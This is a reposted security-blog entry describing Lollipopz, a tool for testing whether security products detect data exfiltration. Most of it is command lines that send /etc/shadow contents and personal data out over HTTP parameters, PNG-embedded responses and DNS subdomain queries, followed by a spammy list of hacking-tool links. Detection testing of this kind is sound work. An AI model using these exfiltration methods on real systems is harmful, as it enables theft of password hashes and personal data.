Lollipopz - Data Exfiltration Utility For Testing Detection Capabilities

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.

Exfiltration How-To

/etc/shadow -> HTTP GET requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> HTTP POST requests

Server

# ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTServer -lp 80 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> PNG embedded in HTTP Response

Server

$ ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Server -lp 37650 -o output.log

Client

# ./lollipopz-cli.py -m lollipopz.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> DNS subdomains querying

Server

# ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

Client

$ ./lollipopz-cli.py -m lollipopz.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r

Download Lollipopz

via KitPloit

This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

Related articles

1. Hacker Tools For Ios
2. Hack Tools Github
3. Hack Tools For Games
4. Hack And Tools
5. Hacker Tools Github
6. Hacking Tools For Games
7. Hacker Tools For Mac
8. Blackhat Hacker Tools
9. Pentest Tools Port Scanner
10. Hack Rom Tools
11. Hacking Tools Kit
12. Hacker Tools Apk
13. Hacking Tools Usb
14. Nsa Hack Tools
15. Hack Tools For Windows
16. Hacker Hardware Tools
17. Hacker
18. Hack Tools Pc
19. How To Hack
20. Hacker Tools 2020
21. Hacking Tools For Windows Free Download
22. Hacker Tools Free
23. Hacker Tools For Mac
24. Hack Website Online Tool